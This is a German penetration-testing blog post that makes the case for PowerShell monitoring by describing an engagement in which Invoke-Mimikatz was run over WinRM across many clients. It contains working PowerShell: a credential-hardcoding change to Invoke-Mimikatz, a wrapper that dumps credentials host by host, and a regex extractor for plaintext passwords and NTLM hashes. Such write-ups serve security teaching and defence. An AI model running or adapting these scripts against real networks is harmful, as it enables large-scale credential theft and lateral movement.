Invoke-Mimikatz - Sieben auf einen Streich

Invoke-Mimikatz

Sieben auf einen Streich

Michael Schneider
von Michael Schneider
Lesezeit: 9 Minuten

PowerShell Monitoring ist eine der Massnahmen, die wir unseren Kunden bei einem internen Assessment ans Herz legen. Oftmals wird diese Massnahme aufgrund des Aufwands nicht umgesetzt. In diesem Artikel zeige ich anhand eines durchgeführten Angriffs auf, warum es sich doch lohnen kann in das Monitoring zu investieren.

Szenario

Während eines internen Penetration Tests erlangten wir lokale Administratorenrechte auf einem Client-System. Das Passwort des lokalen Administratoren-Accounts wurde dabei auf mehreren Client-Systemen wieder verwendet. Zudem war der Dienst Windows Remote Management (WinRM) auf allen Systemen aktiv. Eine Verbindung per WinRM wird über den Befehl Enter-PsSession aufgebaut:

Enter-PsSession -ComputerName target1.example.org -Credential target1\administrator
[target1.example.org]: PS C:\Users\Administrator\Documents> ps

Wir waren somit in der Lage Befehle mit lokalen Administratoren-Rechten auf anderen Systemen auszuführen. Das Ziel war nun, die Zugangsdaten der aktiven Benutzer auf dem jeweiligen Gerät auszulesen. Als Grundlage diente uns das PowerShell-Skript Invoke-Mimikatz.ps1 von Joe Bialek. Invoke-Mimikatz hat bereits eine Funktion implementiert, um Mimikatz per WinRM auf Remote-Computer auszuführen.

Invoke-Mimikatz -DumpCreds -ComputerName target1.example.org

Damit wir die Zugangsdaten möglichst einfach und effizient auslesen konnten, mussten wir eine kleine Anpassung in Invoke-Mimikatz vornehmen und haben zusätzlich ein eigenes Skript zur Automatisierung und Protokollierung der Tätigkeiten geschrieben.

Automatisiertes Auslesen von Zugangsdaten

Als erstes haben wir das Skript so erweitert, dass die Zugangsdaten für die Remote-Verbindung hinterlegt werden konnten. Standardmässig übernimmt Invoke-Mimikatz die Zugangsdaten des Benutzers, der das Skript startet. Dazu haben wir die Funktion Main() um die folgenden Zeilen ergänzt:

$Username = "$ComputerName\administrator"
$PasswordPlain = "SeCuRePa$$1"
$Password = ConvertTo-SecureString $PasswordPlain -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential -ArgumentList $Username, $Password

If ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
{
    Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) -Credential $Cred
}
Else
{
    Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) -ComputerName $ComputerName -Credential $Cred
}

Sicherheitshinweis: Das Speichern von Klartext-Passwörter ist eine schlechte Sicherheits-Praxis und sollte vermieden werden. Microsoft beschreibt im TechNet Wiki, wie ein Passwort verschlüsselt in einer Datei oder in der Registry abgelegt wird. Zu beachten ist dabei, dass nur der Benutzer, welcher das Passwort verschlüsselt hat, auch in der Lage ist, dieses zu entschlüsseln. Ein Passwort wird dabei als SecureString gespeichert:

PS C:\> $SecurePassword = Read-Host -Prompt “Enter password” -AsSecureString
Enter password: ***********
PS C:\> $SecureStringAsPlainText = $SecurePassword | ConvertFrom-SecureString
PS C:\> $SecureStringAsPlainText
01000000d08c9ddf0115d1118c7a00c04fc297eb010000009a344ea59d3a1848888877bbb6cc1a140000000002000…

Ein verschlüsselt gespeichertes Passwort wird aus einer Datei gelesen und danach in ein Objekt konvertiert, um es in einem Skript zu nutzen:

$SecureString = $SecureStringAsPlainText | ConvertTo-SecureString

Für das automatisierte Auslesen einer beliebigen Anzahl von Systemen haben wir ein Wrapper-Skript (GitHub) gebaut, das Systeme aus einer Datei ausliest und sequentiell abarbeitet.

$BasePath = "C:\tmp"
$Timestamp = (Get-Date).ToString("yyyyMd")
$Protocol = "$basePath\protocol-$timestamp.txt"
$Hosts = Get-Content $HostFile

Foreach ($ComputerName in $Hosts) {
    $Time = Get-Date -Format G
    $StartMessage = "[*] $Time - Connecting to $ComputerName..."
    $StartMessage | Tee-Object -Append -FilePath $Protocol

    $LogMimikatz = "$BasePath\cred_$ComputerName.log"

    Try {
        Invoke-Mimikatz -ComputerName $ComputerName -ErrorAction Stop -ErrorVariable ErrorInvokeMimikatz | Out-File -Encoding utf8 $LogMimikatz
    }
    Catch { 
        $Time = Get-Date -Format G
        $ErrorMessage = "[!] $Time - ERROR: $ComputerName - " + $ErrorInvokeMimikatz[1].FullyQualifiedErrorId
        $ErrorMessage | Tee-Object -Append -FilePath $Protocol
        $ErrorInvokeMimikatz = $null
    }

    $Time = Get-Date -Format G
    $EndMessage = "[*] $Time - $ComputerName done"
    $EndMessage | Tee-Object -Append -FilePath $Protocol
}

Das Skript benötigt den Parameter HostFile, in dem alle Systeme aufgelistet sind (ein Host pro Zeile). Es wird ein rudimentäres Protokoll geführt, wann auf ein System zugegriffen wird und wann die Verarbeitung abgeschlossen ist. Die Ausführung von Invoke-Mimikatz wird in einer separaten Datei gespeichert. Falls bei einer Verbindung ein Fehler auftritt, wie beispielsweise das System ist nicht erreichbar oder der Zugriff wurde abgelehnt, wird dies ins Protokoll geschrieben.

Auswertung der Zugangsdaten

Nach der Ausführung des Skripts liegt für jeden Host eine Mimikatz-Output Datei vor. Um daraus schnell Informationen wie Klartext-Passwörter zu extrahieren, setzen wir ein weiteres PowerShell-Skript (GitHub) ein. Mittels einer Regular Expression (RegEx) werden alle Einträge mit Passwörter, die nicht leer sind, ausgegeben.

$PasswordRegex = "\s+\*\sUsername\s+:\s(?<username>[a-zA-Z0-9]+)[\r\n]+\s+\*\sDomain\s+:\s(?<domain>[a-zA-Z0-9]+)[\r\n]+\s+\*\sPassword\s+:\s(?<password>(?!\(null\)).*)[\r\n]+"
$PasswordOutput = New-Object System.Collections.Generic.List[System.Object]

Foreach ($LogFile in Get-ChildItem -Recurse $Path) {
    $Content = Get-Content -Raw -Path $LogFile
    $PasswordMatches = Select-String -InputObject $Content -AllMatches -Pattern $PasswordRegex

    Foreach ($Match in $PasswordMatches.Matches) {
        $SearchEntry = New-Object System.Object
        $SearchEntry | Add-Member -NotePropertyName "Username" -NotePropertyValue $Match.Groups["username"].Value
        $SearchEntry | Add-Member -NotePropertyName "Domain" -NotePropertyValue $Match.Groups["domain"].Value
        $SearchEntry | Add-Member -NotePropertyName "Password" -NotePropertyValue $Match.Groups["password"].Value
        $PasswordOutput.Add($SearchEntry)
    }
}

$PasswordOutput = ($PasswordOutput | Sort-Object -Property Username -Unique)

Eine weitere Funktion des Skripts extrahiert alle NTLM-Hashes, die danach sowohl für Pass-the-Hash-Angriffe als auch für das Errechnen der Passwörter mittels Hashcat verwendet werden können.

Im erwähnten Assessment wurden übrigens weit mehr als sieben Passwörter auf einen Streich ausgelesen. Eine aktive Überwachung der PowerShell-Aktivität hätte zwar den Angriff nicht verhindert, aber das Auslesen der Zugangsdaten von vielen Benutzern wäre nicht verborgen geblieben.

Über den Autor

Michael Schneider

Michael Schneider arbeitet seit dem Jahr 2000 in der IT. Im Jahr 2010 hat er sich auf die Informationssicherheit spezialisiert. Zu seinen Aufgaben gehören das Penetration Testing, Hardening und das Aufspüren von Schwachstellen in Betriebssystemen. Er ist bekannt für eine Vielzahl in PowerShell geschriebener Tools zum Finden, Ausnutzen und Beheben von Schwachstellen. (ORCID 0000-0003-0772-9761)

Links

Haben Sie Interesse an einem Penetration Test?

Unsere Spezialisten kontaktieren Sie gern!

×
Bericht und Dokumentation

Bericht und Dokumentation

Michael Schneider

Einführung von CVSS v4.0

Einführung von CVSS v4.0

Michael Schneider

Rogue Device

Rogue Device

Michael Schneider

Windows LAPS

Windows LAPS

Michael Schneider

Sie wollen mehr?

Weitere Artikel im Archiv

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

Sie wollen mehr?

Weitere Artikel im Archiv